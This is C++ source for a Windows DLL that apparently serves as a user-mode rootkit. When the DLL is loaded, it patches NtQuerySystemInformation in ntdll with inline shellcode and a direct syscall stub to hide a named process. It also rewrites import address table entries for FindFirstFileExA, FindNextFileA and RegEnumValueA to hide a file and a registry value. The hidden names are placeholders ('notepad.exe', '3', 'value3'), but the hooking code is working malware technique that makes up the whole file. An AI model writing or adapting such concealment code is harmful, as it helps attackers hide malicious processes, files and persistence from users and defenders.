// dllmain.cpp : Defines the entry point for the DLL application.

#include <Windows.h>
#include <string>


using namespace std;

NTSTATUS (WINAPI *ZwQuerySystemInformation)(int SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);

typedef LONG KPRIORITY;

typedef struct _UNICODE_STRING {
  USHORT  Length;
  USHORT  MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _VM_COUNTERS {
    ULONG PeakVirtualSize;
    ULONG VirtualSize;
    ULONG PageFaultCount;
    ULONG PeakWorkingSetSize;
    ULONG WorkingSetSize;
    ULONG QuotaPeakPagedPoolUsage;
    ULONG QuotaPagedPoolUsage;
    ULONG QuotaPeakNonPagedPoolUsage;
    ULONG QuotaNonPagedPoolUsage;
    ULONG PagefileUsage;
    ULONG PeakPagefileUsage;
} VM_COUNTERS;

typedef struct _SYSTEM_PROCESS_INFORMATION {
  ULONG                   NextEntryOffset;
  ULONG                   NumberOfThreads;
  LARGE_INTEGER           Reserved[3];
  LARGE_INTEGER           CreateTime;
  LARGE_INTEGER           UserTime;
  LARGE_INTEGER           KernelTime;
  UNICODE_STRING          ImageName;
  KPRIORITY               BasePriority;
  HANDLE                  ProcessId;
  HANDLE                  InheritedFromProcessId;
  ULONG                   HandleCount;
  ULONG                   Reserved2[2];
  ULONG                   PrivatePageCount;
  VM_COUNTERS             VirtualMemoryCounters;
  IO_COUNTERS             IoCounters;
  void*           Threads;

} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

__declspec(noinline) char* WINAPI Unicode2ANSI(char* buf,int len)
{

len=len/2;
char* ret=(char*)malloc(len+1);
memset(ret,0,len+1);
if(len==0)
{
	return ret;
}
int i=0;
while(i<len)
{
	ret[i]=buf[2*i];
	i++;
}
ret[len]=0;
return ret;
}

string p_name;
NTSTATUS stat; 
string str;
DWORD SIC;
char* tmp_buf;
SYSTEM_PROCESS_INFORMATION* SPI;
SYSTEM_PROCESS_INFORMATION* p_SPI=0;

int ZwQuerySystemInformation_syscall;//syscall number

void __declspec(naked)sys(void)//KiFastSystemCall
{
	__asm {
		NOP
		NOP
		NOP
		NOP
		NOP
		NOP
		NOP
		
	}//7 nops for CALL FAR 
}


void __declspec(naked)Sys_ZwQSI(void)//ZwQuerySystemInformation
{
__asm
{
	mov eax,ZwQuerySystemInformation_syscall
	call sys
	ret
}
}



void __declspec(naked) NewZwQuerySystemInformation(int SystemInformationClass,PVOID out_buf,ULONG SystemInformationLength,PULONG ReturnLength)
{
__asm
{   
	PUSHAD
	PUSH DWORD PTR SS:[ESP+52]
	PUSH DWORD PTR SS:[ESP+52]
	PUSH DWORD PTR SS:[ESP+52]
	PUSH DWORD PTR SS:[ESP+52]
}

Sys_ZwQSI();

__asm
{
mov stat,eax
pop eax
pop eax
pop eax
pop eax
mov eax,[ESP+0x28]
mov SIC,eax
}

if(stat==0 && SIC==5)
{

__asm
{
mov eax,[ESP+44]
mov SPI,eax
}



p_SPI=0;

	while(SPI!=p_SPI)
	{
		tmp_buf=Unicode2ANSI((CHAR*)SPI->ImageName.Buffer,SPI->ImageName.Length);
		str=tmp_buf;
		free(tmp_buf);
		if(str==p_name)
		{
		if(SPI->NextEntryOffset==0)
		{
		p_SPI->NextEntryOffset=0;
		}
		else
		{
		p_SPI->NextEntryOffset+=SPI->NextEntryOffset;
		}

		}
		p_SPI=SPI;
		char* t=(char*)SPI;
		t+=SPI->NextEntryOffset;
		SPI=(SYSTEM_PROCESS_INFORMATION*)t;
	}
}
__asm POPAD
__asm mov eax,stat
__asm ret
}





void HideProcess(char* name)
{
	DWORD old;
	VirtualProtect(sys,7,PAGE_EXECUTE_READWRITE,&old);
	
	DWORD adr;
	__asm{
		MOV EAX,DWORD PTR FS:[0xC0]
		MOV adr,EAX
	}
	
	memcpy(sys,(char*)adr,7);//copy JMP FAR

	ZwQuerySystemInformation=(NTSTATUS(__stdcall *)(int,PVOID,ULONG,PULONG))GetProcAddress(GetModuleHandle("ntdll.dll"),"NtQuerySystemInformation");
	memcpy(&ZwQuerySystemInformation_syscall,(char*)((char*)ZwQuerySystemInformation+1),4);
	p_name=name;
	
	VirtualProtect(ZwQuerySystemInformation,10,PAGE_EXECUTE_READWRITE,&old);
	char shellcode[]="\xB8\x00\x00\x00\x00\xFF\xD0\xC2\x10\x00";
	/*
	MOV EAX,0 
	CALL EAX
	RET 10
	*/
	int x=(int)NewZwQuerySystemInformation;
	memcpy((char*)((char*)shellcode+1),&x,4);
	memcpy((char*)ZwQuerySystemInformation,shellcode,10);
	VirtualProtect(ZwQuerySystemInformation,7,old,&old);
	ZwQuerySystemInformation=(NTSTATUS (__stdcall *)(int,PVOID,ULONG,PULONG))Sys_ZwQSI;
}



string f_hide;
string f_str;
char f_tmp[260];

HANDLE (WINAPI *MyFindFirstFileExA)(LPCTSTR lpFileName,FINDEX_INFO_LEVELS fInfoLevelId,LPVOID lpFindFileData,FINDEX_SEARCH_OPS fSearchOp, LPVOID lpSearchFilter,DWORD dwAdditionalFlags);
BOOL (WINAPI *MyFindNextFileA)(HANDLE h,LPWIN32_FIND_DATA data);

HANDLE WINAPI NewFindFirstFileExA(LPCTSTR lpFileName,FINDEX_INFO_LEVELS fInfoLevelId,LPVOID lpFindFileData,FINDEX_SEARCH_OPS fSearchOp, LPVOID lpSearchFilter,DWORD dwAdditionalFlags)
{
	HANDLE h=MyFindFirstFileExA(lpFileName,fInfoLevelId,lpFindFileData,fSearchOp,lpSearchFilter,dwAdditionalFlags);
	if(h!=0)
	{
		WIN32_FIND_DATA* fd=(WIN32_FIND_DATA*)lpFindFileData;
		strcpy(f_tmp,fd->cFileName);
		f_str=f_tmp;
		if(f_str==f_hide)
		{
			if(!MyFindNextFileA(h,fd))
			{
				return 0;
			}
		}
	}
	return h;
}

BOOL NewFindNextFileA(HANDLE h,WIN32_FIND_DATA* lpFindFileData)
{
	bool ret=MyFindNextFileA(h,lpFindFileData);
	if(ret)
	{
	strcpy(f_tmp,lpFindFileData->cFileName);
	f_str=f_tmp;
	if(f_str==f_hide)
		{
			if(!NewFindNextFileA(h,lpFindFileData))
			{
				ret=false;
			}
	     }
	
	}
	return ret;

}




void IAT(HINSTANCE hInstance,string lib_name,string f_name,FARPROC func)
	
{
	
	PIMAGE_DOS_HEADER pdosheader = (PIMAGE_DOS_HEADER)hInstance;//DOS header
	PIMAGE_NT_HEADERS pntheaders = (PIMAGE_NT_HEADERS)((DWORD)hInstance + pdosheader->e_lfanew);//NT_HEADER
	PIMAGE_IMPORT_DESCRIPTOR pimportdescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hInstance + pntheaders->OptionalHeader.DataDirectory[1].VirtualAddress);//IAT
	PIMAGE_THUNK_DATA pthunkdatain, pthunkdataout;
	PIMAGE_IMPORT_BY_NAME pimportbyname;

	PCHAR ptr;
	
	
	int i=0;
	while ( pimportdescriptor->TimeDateStamp != 0 ||pimportdescriptor->Name != 0)
	{
		ptr = (PCHAR)((DWORD)hInstance+ (DWORD)pimportdescriptor->Name);//library name
		i=0;
			

		pthunkdataout = (PIMAGE_THUNK_DATA)((DWORD)hInstance + (DWORD)pimportdescriptor->FirstThunk);
		if (pimportdescriptor->Characteristics == 0)
		{
			pthunkdatain = pthunkdataout;
		}
		else 
		{
			pthunkdatain = (PIMAGE_THUNK_DATA)((DWORD)hInstance +(DWORD)pimportdescriptor->Characteristics);
		}

		while ( pthunkdatain->u1.AddressOfData != NULL)
		{
			if ((DWORD)pthunkdatain->u1.Ordinal & IMAGE_ORDINAL_FLAG) 
			{
				//search by ordinal (Not used here)
			}	
			else
			{
				pimportbyname = (PIMAGE_IMPORT_BY_NAME)((DWORD)pthunkdatain->u1.AddressOfData + (DWORD)hInstance);
				if(f_name==(char*)pimportbyname->Name && GetModuleHandle(lib_name.c_str())==GetModuleHandle(ptr))
				{
				DWORD old;
				char* buf=(char*)hInstance;
				VirtualProtect((char*)(buf+pimportdescriptor->FirstThunk+(i*4)),4,PAGE_EXECUTE_READWRITE,&old);
				memcpy((char*)(buf+pimportdescriptor->FirstThunk+(i*4)),&func,4);//hook
				}

			}


			i++;
			pthunkdatain++;
			pthunkdataout++;
		}



		pimportdescriptor++;  

	}
}

void HideFile(char* name)
{
	MyFindFirstFileExA=(HANDLE (__stdcall *)(LPCTSTR,FINDEX_INFO_LEVELS,LPVOID,FINDEX_SEARCH_OPS,LPVOID,DWORD))GetProcAddress(GetModuleHandle("kernel32.dll"),"FindFirstFileExA");
	MyFindNextFileA=(BOOL (__stdcall *)(HANDLE,LPWIN32_FIND_DATA))GetProcAddress(GetModuleHandle("kernel32.dll"),"FindNextFileA");
	f_hide=name;

	
	IAT(GetModuleHandle(0),"kernel32.dll","FindFirstFileExA",(FARPROC)NewFindFirstFileExA);
	IAT(GetModuleHandle(0),"kernel32.dll","FindNextFileA",(FARPROC)NewFindNextFileA);
}


LONG (WINAPI *MyRegEnumValue)(HKEY hKey,DWORD dwIndex,LPTSTR lpValueName,LPDWORD lpcchValueName,LPDWORD lpReserved,LPDWORD lpType,
	LPBYTE lpData,LPDWORD lpcbData);

string r_str;
string r_hide;
DWORD r_change=0;

LONG WINAPI NewRegEnumValueA(HKEY hKey,DWORD dwIndex,LPTSTR lpValueName,LPDWORD lpcchValueName,LPDWORD lpReserved,LPDWORD lpType,
	LPBYTE lpData,LPDWORD lpcbData)
{
	DWORD x=*lpcchValueName;
	
	if(r_change)
	{
		dwIndex++;
	}
	LONG ret=MyRegEnumValue(hKey,dwIndex,lpValueName,lpcchValueName,lpReserved,lpType,lpData,lpcbData);
	if(ret==ERROR_SUCCESS)
	{
		r_str=(char*)lpValueName;
		if(r_hide==r_str)
		{
			
			ret=NewRegEnumValueA(hKey,dwIndex+1,lpValueName,&x,lpReserved,lpType,lpData,lpcbData);
			*lpcchValueName=x;
			r_change=1;
		}

	}
	if(ret==ERROR_NO_MORE_ITEMS)
	{
	r_change=0;
	}

	return ret;
}

void HideReg(char* name)
{
	MyRegEnumValue=(LONG (__stdcall *)(HKEY,DWORD,LPTSTR,LPDWORD,LPDWORD,LPDWORD,LPBYTE,LPDWORD))GetProcAddress(LoadLibrary("advapi32.dll"),"RegEnumValueA");
	r_hide=name;
	IAT(GetModuleHandle(0),"advapi32.dll","RegEnumValueA",(FARPROC)NewRegEnumValueA);
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		HideProcess("notepad.exe");
		HideFile("3");
		HideReg("value3");
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

